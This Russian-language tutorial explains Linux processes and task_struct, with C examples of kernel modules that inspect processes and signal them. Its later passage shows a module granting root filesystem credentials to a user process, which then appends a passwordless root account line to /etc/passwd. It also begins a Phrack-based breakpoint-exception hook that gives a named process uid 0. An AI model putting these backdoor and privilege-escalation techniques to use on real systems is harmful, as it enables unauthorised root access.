

ПРОЦЕССЫ В LINUX



Общие сведения о процессах

Процесс состоит из адресного пространства и набора структур данных, содержащихся внутри ядра операционной системы. Адресное пространство представляет собой совокупность страниц памяти, которую ядро выделило для выполнения процесса. Оно содержит сегменты кода для программы, которую выполняет процесс, используемые процессом переменные, стек процесса и различную вспомогательную информацию, необходимую ядру во время работы процесса. В структурах данных ядра хранится различная информация о каждом процессе. К наиболее важным сведениям относятся:

- таблица распределения памяти процесса;
- текущий статус процесса;
- приоритет выполнения процесса;
- информация о ресурсах, которые использует процесс;
- владелец процесса.

Совокупность всех процессов, выполняющихся в системе, образует иерархическую структуру, подобную дереву каталогов файловой системы. На вершине дерева процессов находится управляющий процесс `init`, являющийся предком всех системных и пользовательских процессов.

С каждым процессом связан набор атрибутов, которые помогают системе управлять выполнением и планированием процессов. С точки зрения системного администрирования интерес представляют следующие атрибуты:

- Идентификатор процесса (PID). Каждому новому процессу ядро присваивает уникальный идентификационный номер. В любой момент времени идентификатор является уникальным, хотя после завершения процесса он может использоваться снова для другого процесса. Некоторые идентификаторы зарезервированы системой для особых процессов. Так, процесс с идентификатором 1 – это процесс инициализации `init`, являющийся предком всех других процессов в системе.
- Идентификатор родительского процесса (PPID). Новый процесс создается путем клонирования одного из уже существующих процессов. Исходный процесс в терминологии UNIX называется родительским, а его клон – порожденным. Помимо собственного идентификатора каждый процесс имеет атрибут PPID, т.е. идентификатор своего родительского процесса.

Характерной чертой современных операционных систем является поддержка многозадачности – параллельного выполнения нескольких задач (task), что обеспечивается главным образом аппаратными возможностями центрального процессора. Под задачей понимают экземпляр программы, которая находится в стадии выполнения. Синонимом термина «задача» является термин «процесс», который впервые начали применять разработчики системы MULTICS в 60-х годах прошлого века.

ВЛАДИМИР МЕШКОВ

- Идентификатор владельца (UID) и эффективный идентификатор владельца (EUID). UID – это идентификационный номер пользователя, который создал данный процесс. Вносить изменения в процесс могут только его создатель и привилегированный пользователь. EUID – это «эффективный» UID процесса. EUID используется для того, чтобы определить, к каким ресурсам и файлам у процесса есть право доступа. У большинства процессов UID и EUID будут одинаковыми. Исключение составляют программы, у которых установлен бит смены идентификатора пользователя.
- Идентификатор группы (GID) и эффективный идентификатор группы (EGID). GID – это идентификационный номер группы данного процесса. EGID связан с GID также, как EUID с UID.
- Приоритет. От приоритета процесса зависит, какую часть времени центрального процессора он получит.
- Текущий каталог, корневой каталог, переменные программного окружения.
- Управляющий терминал (controlling terminal).

Жизненный цикл процесса

Все процессы, кроме `init`, создаются при помощи системного вызова `fork` (процесс `init` создается во время начальной загрузки системы). Вызывая функцию `fork`, процесс создает свой дубликат, называемый дочерним процессом. Дочерний процесс является практически точной копией родительского, но имеет следующие отличия:

- у дочернего процесса свой PID;
- PPID дочернего процесса равен PID родителя.

После выполнения `fork` родительский процесс может посредством системного вызова `wait` или `waitpid` приостановить свое выполнение до завершения порожденного (дочернего) процесса или продолжать свое выполнение независимо от дочернего, а дочерний процесс в свою очередь может запустить на выполнение новую программу при помощи одного из системных вызовов семейства `exec`.

Совместное применение системных вызовов `fork` и `exec` представляет мощный инструмент для программиста. Благодаря ветвлению при использовании вызова `exec` в дочернем процессе может выполняться другая программа.

Таким образом, один процесс может создавать несколько других процессов для параллельного выполнения нескольких программ, и поскольку каждый порожденный процесс выполняется в собственном адресном пространстве, статус его выполнения не влияет на родительский процесс.

Процесс завершает выполнение при помощи системного вызова `exit`. Аргументом этого вызова является код статуса завершения процесса. Младшие восемь бит статуса доступны родительскому процессу при условии, что он выполнил системный вызов `wait`. По соглашению нулевой код статуса завершения означает, что процесс завершил выполнение успешно, а ненулевой свидетельствует о неудаче.

Следующий пример демонстрирует работу вызова `fork` и порядок обработки кода статуса завершения процесса:

```
#include <stdio.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    pid_t pid;    // идентификатор процесса
    int status;  // код статуса завершения процесса

    /* При помощи fork создаем дочерний процесс */

    switch(pid = fork()) {

        case -1:
            perror("fork");
            return -1;

        case 0:
            printf("Выполняется дочерний процесс\n");

    /* Код статуса завершения равен 4 */
        exit(4);
    }

    printf("Выполняется родительский процесс\n");
    printf("Идентификатор дочернего процесса - %d\n", pid);

    /*
     * Ждем завершения дочернего процесса
     * и обрабатываем код статуса завершения
     */
    if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) {
        printf("Дочерний процесс с PID = %d \n", pid);
        printf("Код статуса завершения равен %d\n", WEXITSTATUS(status));
    }
    return 0;
}
```

Функция `waitpid` приостанавливает выполнение родительского процесса, пока не завершится порожденный процесс. Первый аргумент этой функции (`pid`) указывает, завершения какого именно порожденного процесса следует ожидать.

- Первый аргумент может принимать следующие значения:
- `> 0` – ждать завершения процесса с данным идентификатором;
 - `0` – ждать завершения любого порожденного процесса, принадлежащего к той же группе, что и родительский;
 - `-1` – ждать завершения любого порожденного процесса;
 - `< -1` – ждать любого порожденного процесса, идентификатор группы (GID) которого является абсолютным значением `pid`.

Второй аргумент будет содержать код статуса завершения процесса, поэтому он передается по ссылке. Возвращаемым значением функции будет PID порожденного процесса.

В нашем примере значение первого аргумента равно идентификатору дочернего процесса.

Для обработки кода статуса завершения процесса используются два макроса – `WIFEXITED` и `WEXITSTATUS`, которые определены в файле `<sys/wait.h>`.

Макрос `WIFEXITED` возвращает ненулевое значение, если порожденный процесс был завершен посредством вызова `exit`. Макрос `WEXITSTATUS` возвращает код завершения порожденного процесса, присвоенного вызовом `exit`. Оба этих макроса обрабатывают значение второго аргумента функции `waitpid` – переменной `status`. Эта переменная имеет следующий формат:

- биты 0 – 6 – содержат нуль, если порожденный процесс был завершен с помощью функции `exit`, или номер сигнала, завершившего процесс.
- бит 7 – равен 1, если из-за прерывания порожденного процесса сигналом был создан дамп образа процесса (файл `core`). В противном случае равен 0.
- биты 8 – 15 – содержат код завершения порожденного процесса, переданный посредством `exit`.

А теперь немного изменим приведенный выше пример для демонстрации возможности запуска в дочернем процессе новой программы:

```
....
switch(pid = fork()) {

    case -1:
        perror("fork");
        return -1;

    case 0:
        printf("Выполняется дочерний процесс\n");

        execl("/bin/gzip", "gzip", "test.txt", 0);
        perror("gzip");
        exit(errno);
    }
....
```

Как видно из приведенного примера, в дочернем процессе при помощи системного вызова `exec` запускается на выполнение программа `gzip`, при помощи которой архивируется файл `test.txt`.

Получение информации о процессе при помощи `proc`

Главным источником информации о процессах на пользовательском уровне является файловая система `proc`. Для доступа к этой информации достаточно перейти в каталог `/proc`. Информация о каждом процессе собрана в отдельном подкаталоге, имя которого совпадает с идентификационным номером процесса. Так, например, информация о процессе `init` находится в подкаталоге `1`, т.к. идентификационный номер этого процесса зарезервирован и равен 1.

На примере процесса `init` рассмотрим, какие файлы присутствуют в каталоге процесса и какую информацию о процессе они содержат (какая информация в них содержится):

```
root@darkstar:/proc/1# ls -l
total 0
-r--r--r-- 1 root root 0 Apr 13 21:59 cmdline
lrwxrwxrwx 1 root root 0 Apr 13 21:59 cwd -> //
-r----- 1 root root 0 Apr 13 21:59 environ
lrwxrwxrwx 1 root root 0 Apr 13 21:59 exe -> /sbin/init*
dr-x----- 2 root root 0 Apr 13 21:59 fd/
-r--r--r-- 1 root root 0 Apr 13 21:59 maps
-rw----- 1 root root 0 Apr 13 21:59 mem
-r--r--r-- 1 root root 0 Apr 13 21:59 mounts
lrwxrwxrwx 1 root root 0 Apr 13 21:59 root -> //
-r--r--r-- 1 root root 0 Apr 13 21:59 stat
-r--r--r-- 1 root root 0 Apr 13 21:59 statm
-r--r--r-- 1 root root 0 Apr 13 21:59 status
```

- **cmdline** – список аргументов процесса;
- **cwd** – символическая ссылка на текущий рабочий каталог процесса;
- **environ** – переменные среды процесса;
- **exe** – символическая ссылка на исполняемый файл процесса;
- **fd** – подкаталог, содержащий ссылки на файлы, открытые процессом;
- **maps** – адресное пространство, выделенное процессу;
- **root** – символическая ссылка на корневой каталог процесса;
- **mounts** – информация о точках монтирования и типах файловых систем;
- **status** – статистическая информация о процессе (имя процесса, идентификационный номер, состояние процесса, идентификатор владельца, группы, статистика использования памяти и т. д.).

Таким образом, при помощи /proc можно получить исчерпывающую информацию об интересующем процессе, используя имеющийся в нашем распоряжении инструментарий – команды shell либо средства языка программирования.

Представление процессов в ядре

Совокупность процессов в ядре Linux представляет собой кольцевой двусвязный список структур `struct task_struct`. Структура `struct task_struct` определена в файле `<linux/sched.h>` и содержит полную информацию о выполняемом процессе. Для нас интерес представляют следующие поля этой структуры:

volatile long state

Статус выполняемого процесса. Может принимать следующие значения:

- **TASK_RUNNING** – процесс находится в очереди запущенных на выполнение задач;
- **TASK_INTERRUPTIBLE** – процесс в состоянии «сна», но может быть «разбужен» по сигналу или по истечении таймера;
- **TASK_UNINTERRUPTIBLE** – состояние процесса схоже с **TASK_INTERRUPTIBLE**, только он не может быть разбужен;
- **TASK_ZOMBIE** – процесс-«зомби». Процесс завершил свою работу до того, как родительский процесс выполнил системный вызов `wait`;
- **TASK_STOPPED** – выполнение процесса остановлено.

Все эти значения определены в файле `<linux/sched.h>`:

```
#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define TASK_ZOMBIE 4
#define TASK_STOPPED 8
```

struct mm_struct *mm, struct mm_struct *active_mm

Указатели на адресное пространство, выделенное процессу. В состав структуры `struct mm_struct` входит структура `struct vm_area_struct * mmap`, в которой находятся данные об областях памяти, выделенных процессу. Два поля этой структуры, `vm_start` и `vm_end`, содержат адреса памяти, которую использует процесс. Детальное рассмотрение структуры `struct vm_area_struct` выходит за рамки данной статьи, для дальнейшей работы нам достаточно и этой информации.

pid_t pid

Идентификационный номер процесса.

uid_t uid, euid, suid, fsuid

Идентификаторы владельца процесса.

gid_t gid, egid, sgid, fsgid

Идентификаторы группы, к которой принадлежит данный процесс.

char comm[16]

Символьное имя процесса.

struct fs_struct *fs

Информация о файловой системе. Сама структура `struct fs_struct` определена в файле `<linux/fs_struct.h>`. Вот как она выглядит:

```
struct fs_struct {
    atomic_t count;
    rwlock_t lock;
    int umask;
    struct dentry * root, * pwd, * alroot;
    struct vfsmount * rootmnt, * pwdmnt, * alrootmnt;
};
```

Информация о точках монтирования корневого каталога и о текущем каталоге процесса находится в полях `struct dentry *root` и `*pwd`.

struct files_struct *files

Информация о файлах, открытых процессом. Состав структуры `struct files_struct` (см. `<linux/sched.h>`):

```
/*
 * Open file table structure
 */
struct files_struct {
    atomic_t count;
    /* Protects all the below members */
    /* Nests inside tsk->alloc_lock */
    rwlock_t file_lock;
    int max_fds;
    int max_fdset;
    int next_fd;
    struct file ** fd; /* current fd array */
};
```

```
....
struct file * fd_array[NR_OPEN_DEFAULT];
};
```

В поле `next_fd` находится число открытых процессом файлов, а в массиве структур `struct file ** fd` собрана информация об этих файлах. Структура `struct file` определена в `<linux/fs.h>`.

struct signal_struct *sig

Указатели на обработчики сигналов. Определение `struct signal_struct` находится в `<linux/signal.h>`:

```
struct signal_struct {
    atomic_t          count;
    struct k_sigaction action[_NSIG];
    spinlock_t        siglock;
};
```

В массиве структур `struct k_sigaction action[_NSIG]` находятся указатели на функции, которые вызывает процесс при получении сигналов. Структура `struct k_sigaction` определена в `<asm-i386/signal>`:

```
struct k_sigaction {
    struct sigaction sa;
};
```

Структура `struct sigaction` определена в этом же файле:

```
struct sigaction {
    _sighandler_t sa_handler;
    unsigned long sa_flags;
    void (*sa_restorer)(void);
    sigset_t sa_mask; /* mask last for extensibility */
};
```

Адрес обработчика сигнала находится в поле `__sighandler_t sa_handler` структуры `struct sigaction`. Это поле может принимать следующие значения, определенные в `<asm-i386/signal.h>`:

```
#define SIG_DFL (( _sighandler_t)0) /* default signal handling */
#define SIG_IGN (( _sighandler_t)1) /* ignore signal */
```

Значение `SIG_DFL` требует выполнения стандартного действия. Отметим, что `SIG_DFL` эквивалентен `NULL`. Значение `SIG_IGN` означает, что сигнал будет игнорироваться. Также в этом поле может находиться адрес функции, которая будет вызвана по приходу сигнала.

Поле `sigset_t sa_mask` представляет собой набор сигналов, которые должны быть заблокированы в течение обработки данного сигнала. Например, если для процесса необходимо заблокировать сигналы `SIGHUP` и `SIGINT`, пока обрабатывается сигнал `SIGCHLD`, тогда относящаяся к `SIGCHLD` `sa_mask` для процесса устанавливает разряды, соответствующие `SIGHUP` и `SIGINT`.

Определение `sigset_t` находится в `<asm-i386/signal.h>`:

```
#define _NSIG          64
#define _NSIG_BPW 32
#define _NSIG_WORDS   (_NSIG / _NSIG_BPW)

typedef struct {
    unsigned long sig[_NSIG_WORDS];
} sigset_t;
```

Единственный компонент в `sigset_t` – это массив из

`unsigned long`, каждый разряд которого соответствует одному сигналу. Номера всех сигналов перечислены в `<asm-i386/signal.h>`.

sigset_t blocked

Маска сигналов, заблокированных процессом. Для блокирования сигнала соответствующий бит устанавливается в 1.

struct sigpending pending

Содержит номера сигналов, посылаемых процессу. Эта структура определена в `<linux/sched.h>` следующим образом:

```
struct sigpending {
    struct sigqueue *head, **tail;
    sigset_t signal;
};
```

`sigset_t signal`, как мы уже рассмотрели, является простой последовательностью бит, и посылка сигнала процессу означает установку бита в соответствующей позиции в 1.

Для более детального ознакомления с вышеперечисленными полями разработаем модуль ядра, который при загрузке будет отображать информацию об определенном процессе, подобно тому, как это делает `/proc` (см. «Получение информации о процессе при помощи `proc`»).

Для решения этой задачи нам понадобится какой-нибудь процесс. Лучше всего, если он будет функционировать в фоновом режиме (в режиме демона, `daemon`). Этот процесс после запуска будет выполнять следующие действия:

- перехватывать все сигналы, а для сигнала `SIGUSR1` определять новый обработчик;
- открывать исполняемый файл программы, находящийся в текущем каталоге.

Создадим такой процесс при помощи следующего кода:

```
/* файл sfc.c */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>

static pid_t pid; // идентификатор создаваемого процесса

int main ()
{
    pid = fork();

    if (pid < 0) {
        perror("fork");
        return -1;
    }

    if (pid == 0) { // дочерний процесс
        setsid(); // отсоединяемся от терминала
        start_daemon();
    }

    return 0;
}
```

Функция `start_daemon()` выполняет следующие задачи:

- перехватывает все сигналы;
- для сигнала SIGUSR1 определяет новый обработчик;
- открывает исполняемый файл программы, находящийся в текущем каталоге;
- запускает на выполнение бесконечный цикл.

```
void start_daemon()
{
    int i, out;

    sigset_t mask;
    static struct sigaction act;

    sigfillset(&mask);
    sigdelset(&mask, SIGUSR1);

    /* Блокируем все сигналы */
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /* Определяем новый обработчик для SIGUSR1 */
    act.sa_handler = stop_daemon;
    sigaction(SIGUSR1, &act, NULL);

    /* Открываем исполняемый файл программы */
    out = open("./sfc", O_RDONLY);
    if(out < 0) perror("open");

    for(;;);
}

```

Новый обработчик сигнала SIGUSR1 просто завершит выполнение демона, вызвав функцию exit:

```
void stop_daemon()
{
    exit(0);
}

```

Получаем исполняемый файл и запускаем его на выполнение:

```
# gcc -o sfc sfc.c
# ./sfc

```

Процесс начинает свое выполнение в фоновом режиме. Найдем его в списке процессов:

```
# ps -ax | grep sfc
903 ?    R      0:02 ./sfc

```

Итак, процесс ./sfc успешно выполняется, и его PID равен 903.

Теперь приступим к реализации модуля ядра.

```
/* файл task.c */
#include <linux/config.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/types.h>
#include <linux/signal.h>

```

Первое, что должен сделать модуль после загрузки, – найти в списке структур struct task_struct структуру, соответствующую процессу sfc. Поиск выполняется при помощи функции find_task_by_name(). Аргументом функции является имя искомого процесса, возвращаемое значение – указатель на структуру процесса struct task_struct.

Функция find_task_by_name выглядит следующим образом:

```
struct task_struct * find_task_by_name(__u8 *name)
{
    struct task_struct *p;

    for_each_task(p)
        if(strcmp(p->comm, name) == 0) return p;

    return 0;
}

```

Для прохождения всего списка процессов в системе предусмотрен макрос for_each_task(p) (см. файл <linux/sched.h>):

```
#define for_each_task(p) \
    for (p = &init_task ; (p = p->next_task) != &init_task ; )

```

Функция find_task_by_name будет вызвана во время процедуры инициализации модуля:

```
static int __init task_on(void)
{
    struct task_struct *p;
    int pid = 0;
    int i;
}

```

Ищем структуру, которая описывает процесс sfc:

```
p = find_task_by_name("sfc");

```

Если поиск завершился удачно, отобразим PID процесса (результаты работы модуля будут сохранены в файле /var/log/messages):

```
if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
    printk(KERN_INFO "No such task\n");
    return 0;
}

```

Можно также выполнить поиск процесса по заданному PID при помощи функции find_task_by_pid(int pid) (см. <linux/sched.h>). Повторим поиск процесса, используя найденный PID:

```
pid = p->pid;
p = find_task_by_pid(pid);

```

Процесс найден. Отобразим результаты поиска:

- имя процесса и его состояние:

```
printk(KERN_INFO "NAME - %s\n", p->comm);
printk(KERN_INFO "STATE - %u\n", (u32)p->state);

```

- адресное пространство процесса:

```
printk(KERN_INFO "START ADDRESS - 0x%08X\n", ↓
(u32)p->active_mm->mmap->vm_start);
printk(KERN_INFO "END ADDRESS - 0x%08X\n", ↓
(u32)p->active_mm->mmap->vm_end);

```

- идентификаторы:

```
printk(KERN_INFO "UID - %d\n", p->uid);
printk(KERN_INFO "GID - %d\n", p->gid);
printk(KERN_INFO "EUID - %d\n", p->euid);
printk(KERN_INFO "EGID - %d\n", p->egid);
printk(KERN_INFO "FSUID - %d\n", p->fsuid);
printk(KERN_INFO "FSGID - %d\n", p->fsgid);

```

- точка монтирования корневого каталога и имя каталога, откуда стартовал процесс sfc:

```
printk(KERN_INFO "ROOT - %s\n", p->fs->root->d_name);
printk(KERN_INFO "PWD - %s\n", p->fs->pwd->d_name);
```

■ файлы, открытые процессом sfc:

```
for(i = 0; i < p->files->next_fd; i++)
    printk(KERN_INFO "%s\n", ↓
           p->files->fd[i]->f_dentry->d_name);
```

■ адреса обработчиков сигналов:

```
for(i = 0; i < 31; i++)
    printk(KERN_INFO "%d - 0x%08X\n", i, ↓
           (unsigned int)p->sig->action[i].sa.sa_handler);

return 0;
}
```

Функция выгрузки модуля из системы имеет стандартный вид:

```
static void __exit task_off(void)
{
    return;
}

module_init(task_on);
module_exit(task_off);
```

Загружаемый модуль получим при помощи следующего Makefile:

```
.PHONY = clean
CC = gcc
CFLAGS = -O2 -Wall
KERNELDIR = /usr/src/linux
MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include

all: task.o

task.o: task.c
    $(CC) $(CFLAGS) $(MODFLAGS) -c task.c

clean:
    rm -f *.o *~ core
```

Процесс sfc уже запущен на выполнение. После загрузки модуля информация об этом процессе будет собрана в файле /var/log/messages. Сравните результаты работы модуля с данными о процессе, которые находятся в /proc.

Остановимся подробнее на информации, касающейся адресов обработчиков сигналов:

```
Apr 18 21:18:17 darkstar kernel: 0 - 0x00000000
.....
Apr 18 21:18:17 darkstar kernel: 8 - 0x00000000
Apr 18 21:18:17 darkstar kernel: 9 - 0x080484D8 <----
Apr 18 21:18:17 darkstar kernel: 10 - 0x00000000
.....
Apr 18 21:18:17 darkstar kernel: 30 - 0x00000000
```

Как мы видим, все адреса обработчиков сигналов имеют значение SIG_DFL, т.е. NULL. Это значит, что при поступлении любого из этих сигналов процессу, система выполнит стандартные действия.

Исключение составляет сигнал под номером 9 (10-й в списке). Согласно перечню, приведенному в <asm-i386/signal.h>, это сигнал SIGUSR1:

```
#define SIGUSR1 10
```

Именно для этого сигнала мы ввели новый обработчик, функцию stop_daemon. Извлечем адрес этой функции из исполняемого файла sfc и сравним его с результатом, полученным при работе модуля:

```
# objdump -x ./sfc | grep stop_daemon
080484D8 g F .text 00000010 stop_daemon
```

Адрес функции stop_daemon – нового обработчика сигнала SIGUSR1 – равен 0x080484D8. Точно такое же значение выдал и модуль.

Согласитесь, что просто смотреть на процесс неинтересно. Давайте им управлять. Пошлем процессу sfc из модуля сигнал SIGUSR1, при получении которого процесс завершит свое выполнение.

Для того чтобы из ядра послать процессу сигнал, необходимо установить в структуре struct sigpending pending бит, соответствующий порядковому номеру посылаемого сигнала, в единицу, а также присвоить единичное значение полю sigpending, которое служит индикатором того, что процесс получил сигнал и его надо обработать.

Перепишем функцию инициализации модуля – вместо отображения информации о процессе sfc модуль будет посылать ему сигнал SIGUSR1.

Функция инициализации модуля будет выглядеть следующим образом:

```
static int __init task_on(void)
{
    struct task_struct *p;
```

Ищем процесс sfc:

```
p = find_task_by_name("sfc");

if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
    printk(KERN_INFO "No such task\n");
    return 0;
}
```

В структуре struct sigpending pending устанавливаем бит, соответствующий сигналу SIGUSR1:

```
sigaddset(&p->pending.signal, SIGUSR1);
p->sigpending = 1; // индикатор прихода сигнала

return 0;
}
```

Функция sigaddset устанавливается в 1 бит с указанным номером. Номер бита передается как параметр функции. Эта функция (платформенно-зависимый вариант) определена в файле <asm-i386/signal.h>:

```
static __inline__ void sigaddset(sigset_t *set, int_sig)
{
    __asm__ ("btsl %1,%0" : "=m"(*set) : ↓
           "Ir"(_sig - 1) : "cc");
}
```

Загрузив модуль, мы тем самым отправим процессу sfc сигнал SIGUSR1 и остановим его выполнение.

Кстати, совсем не обязательно переопределять обработчик сигнала в самом процессе – это можно сделать в модуле, вписав адрес нового обработчика непосредственно в поле sa_handler.

Посмотрим, как это делается. Перепишем функцию `start_daemon` процесса, убрав из нее переопределение обработчика сигнала `SIGUSR1`:

```
void start_daemon()
{
    sigset_t mask;
    sigfillset(&mask);

    /* Блокируем все сигналы */
    sigprocmask(SIG_SETMASK, &mask, NULL);

    for(;;);
}
```

В функции `start_daemon()` заблокированы все сигналы, новые обработчики не определены. Функцию `stop_daemon` оставим без изменений.

Получаем исполняемый файл и определяем адрес функции `stop_daemon`:

```
# gcc -o sfc sfc.c
# objdump -x ./sfc | grep stop_daemon
08048434 g F .text 00000010 stop_daemon
```

Адрес функции `stop_daemon` равен `0x08048434`. Этот адрес будет указан в качестве нового обработчика сигнала `SIGUSR2` для процесса `sfc`.

Переопределение обработчика сигнала выполняет непосредственно модуль, вследствие чего функция инициализации модуля принимает следующий вид:

```
static int __init task_on(void)
{
    struct task_struct *p;
```

Ищем структуру, соответствующую процессу `sfc`:

```
p = find_task_by_name("sfc");

if(p) printk(KERN_INFO "PID - %d\n", p->pid);
else {
    printk(KERN_INFO "No such task\n");
    return 0;
}
```

Устанавливаем адрес нового обработчика сигнала `SIGUSR2` – вписываем адрес функции `stop_daemon` в поле адреса обработчика `sa_handler`. Порядковый номер сигнала `SIGUSR2` известен и равен 12 (см. `<asm-i386/signal.h>`):

```
(unsigned int)p->sig->action[11].sa.sa_handler = 0x08048434;
```

Если мы сейчас же пошлем сигнал процессу, то он его не воспримет. Почему? Дело в том, что все сигналы на данный момент заблокированы в функции `start_daemon`. Чтобы процесс воспринял приход сигнала `SIGUSR2`, нужно его разблокировать. Для этого необходимо сбросить соответствующий бит в маске заблокированных сигналов – в поле `sigset_t blocked` структуры `task_struct`:

```
sigdelset(p->blocked.sig, SIGUSR2);
```

А теперь посылаем сигнал `SIGUSR2` процессу:

```
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1;

return 0;
}
```

Сброс бита в маске заблокированных сигналов выполняет функция `sigdelset()`, которая определена в файле `<asm-i386/signal.h>`:

```
static __inline__ void sigdelset(sigset_t *set, int sig)
{
    __asm__ ("btrl %1,%0" : "=m"(*set) : J
            "Ir"(_sig - 1) : "cc");
}
```

Это также платформенно-зависимый вариант функции.

Подведем предварительные итоги – мы выяснили, как при помощи модуля ядра можно получить информацию о выполняющемся процессе и как из ядра послать процессу сигнал.

Рассмотрим еще один пример работы с содержимым структуры `task_struct`.

Предположим, что в системе зарегистрирован пользователь `play`. Идентификатор этого пользователя (UID) равен 1000, и принадлежит он к группе `users` (GID=100). От имени этого пользователя в фоновом режиме выполняется процесс, который по приходу сигнала `SIGUSR2` пытается добавить в файл `/etc/passwd` новую учетную запись для пользователя `play1`, обладающего правами `root`:

```
play1::0:0:,,,:/home/play1:/bin/bash
```

Очевидно, что попытка записи в файл `/etc/passwd` какой-либо информации будет безуспешной, если процесс не обладает достаточным уровнем привилегий. Значит, необходимо выдать этому процессу соответствующие полномочия – права суперпользователя (`root`).

Заботу об этом берет на себя модуль ядра, который после загрузки находит структуру, описывающую процесс, назначает ему права суперпользователя путем установки полей `uid/gid`, `euid/egid`, `suid/sgid`, `fsuid/fgid` структуры процесса в 0 и после этого посылает процессу «уведомление» о том, что тот «выиграл в лотерею» – получил права `root`.

«Уведомление» представляет собой сигнал `SIGUSR2`, при получении которого процесс выполняет запись информации в файл `/etc/passwd`, уже имея для этого соответствующие полномочия.

Итак, нам необходим процесс, который по сигналу `SIGUSR2` будет выполнять запись в `/etc/passwd`. Модифицируем уже имеющийся в нашем распоряжении процесс `sfc`. Изменениям подвергнутся только функции `start_daemon` и `stop_daemon`.

В функции `start_daemon` определим новый обработчик для сигнала `SIGUSR2`:

```
void start_daemon()
{
    sigset_t mask;
    static struct sigaction act;

    sigfillset(&mask);
    sigdelset(&mask, SIGUSR2);
```

```
/* Block all signal */
sigprocmask(SIG_SETMASK, &mask, NULL);

act.sa_handler = stop_daemon;
sigaction(SIGUSR2, &act, NULL);

for(;;);
}
```

Обработчик сигнала SIGUSR2 – функция stop_daemon – имеет следующий вид:

```
void stop_daemon()
{
    int psw;

    unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bash\n";

    psw = open("/etc/passwd", O_APPEND|O_RDWR);
    if(psw < 0) goto out;

    if(write(psw, str, 37)) close(psw);

out:
    exit(0);
}
```

Тут все просто.

Теперь модуль. Изменения коснутся функции инициализации:

```
static int __init task_on(void)
{
    struct task_struct *p;

    printk(KERN_INFO "Current - %s\n", current->comm);

    p = find_task_by_name("sfc");

    if(p) printk(KERN_INFO "PID - %d\n", p->pid);
    else {
        printk(KERN_INFO "No such task\n");
        return 0;
    }
}
```

Назначаем права root процессу sfc для возможности записи информации в файл /etc/passwd:

```
p->fsuid = 0;
p->fsgid = 0;
```

Посылаем процессу сигнал SIGUSR2:

```
sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1;

return 0;
}
```

Компилируем и запускаем процесс sfc от имени пользователя play. После этого загружаем модуль и пробуем зайти в систему под именем play1.

Кроме присвоения привилегий процессу sfc, модуль отображает также информацию о текущем выполняющемся процессе:

```
Apr 26 01:05:15 darkstar kernel: Current - insmod
```

Именно с помощью команды insmod мы загружаем модуль. Вопрос: каким образом можно воздействовать на текущий процесс? Ведь по сравнению с фоновым он надолго в памяти не задерживается. Например, тот же insmod – загрузил модуль и сразу на выход.

По этому поводу очень интересный пример был при-

веден в 59-м выпуске электронного журнала PHRACK (www.phrack.com), автор которого kad (реальное имя не было указано, только e-mail – kadamyse@altern.org) показал, как можно присвоить права root текущему процессу пользователя, используя для этой цели исключения.

Замечание. Исключения (exception) – это внутренние прерывания процессора, сигнализирующие ему о том, что произошла исключительная ситуация, требующая немедленного вмешательства. Яркий пример исключения – ошибка деления на 0, Divide Error, мнемоническое обозначение #DE. Подробная информация об исключениях и полный их перечень приведен в IA-32 Intel Architecture Software Developer's Manual, Volume 3: System Programming Guide, Chapter 5 «Interrupt and Exception Handling» (www.intel.com).

Основная идея заключается в перехвате исключения номер 3, Breakpoint (мнемоническое обозначение #BP), которое возникает при работе отладчика. Перехват представляет собой простую замену адреса обработчика исключения #BP в таблице дескрипторов прерываний (IDT, Interrupt Descriptor Table) адресом нового обработчика. При возникновении #BP управление передается новому обработчику, который вернет управление старому, но не сразу – сначала он проверит, кем было сгенерировано исключение #BP, т.е. какой процесс является текущим, current. Проверка выполняется путем сравнения значения, находящегося в поле comm структуры процесса, с шаблоном значением, которое хранится в новом обработчике #BP. Короче говоря, сравниваются две строки, при совпадении которых текущий процесс (назовем его «test») получает привилегии root:

```
if(strcmp(current->comm, "test") == 0) current->uid = 0;
```

Для того чтобы процесс вызвал исключение #BP, его необходимо запустить в отладчике и установить где-нибудь точку останова, например на функцию main. Как только эта точка будет достигнута, будет сгенерировано исключение #BP и управление получит новый обработчик.

Рассмотрим реализацию модуля ядра, выполняющего перехват #BP ((c) kadamyse@altern.org).

```
/* файл task1.c */
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/types.h>

// Прототип нового обработчика исключения #BP
extern void my_stub();

// адрес таблицы IDT
u32 idt_addr = 0;
// адрес старого обработчика исключения #BP
u32 old_handler = 0;
// адрес функции, которая будет вызвана перед обработчиком
// исключения #BP.
u32 new_handler = 0;
```

Формат дескриптора IDT определяет следующая структура:

```
struct descr idt {
    u16 off_low;
    u16 sel;
```

```

    __u8 none, flags;
    __u16 off_high;
} __attribute__((packed));

```

Два поля этой структуры, `off_low` и `off_high`, содержат адрес обработчика исключения.

В поле `off_low` находятся младшие 16 бит, а в поле `off_high` – старшие 16 бит адреса обработчика. Для получения адреса обработчика содержимое этих полей необходимо сложить следующим образом:

```

__u32 address = (__u32)(off_high << 16) | off_low;

```

Следующий указатель нам понадобится для размещения новой таблицы IDT:

```

struct descr_idt *idt;

```

Формат регистра таблицы дескрипторов прерываний (IDTR, Interrupt Descriptor Table Register):

```

struct {
    __u16 limit; // размер таблицы IDT
    __u32 base; // базовый адрес таблицы IDT
} __attribute__((packed)) idtr;

```

Адрес таблицы IDT считывает следующая функция:

```

__u32 get_idt_addr()
{
    __u32 idt_addr;

    asm ("sidt %0":"=m" (idtr));
    idt_addr = idtr.base;

    return idt_addr;
}

```

Функция `get_idt_addr()` считывает содержимое регистра IDTR в структуру `idtr` при помощи инструкции `SIDT`. В результате в поле `base` этой структуры будет находиться искомый базовый адрес IDT.

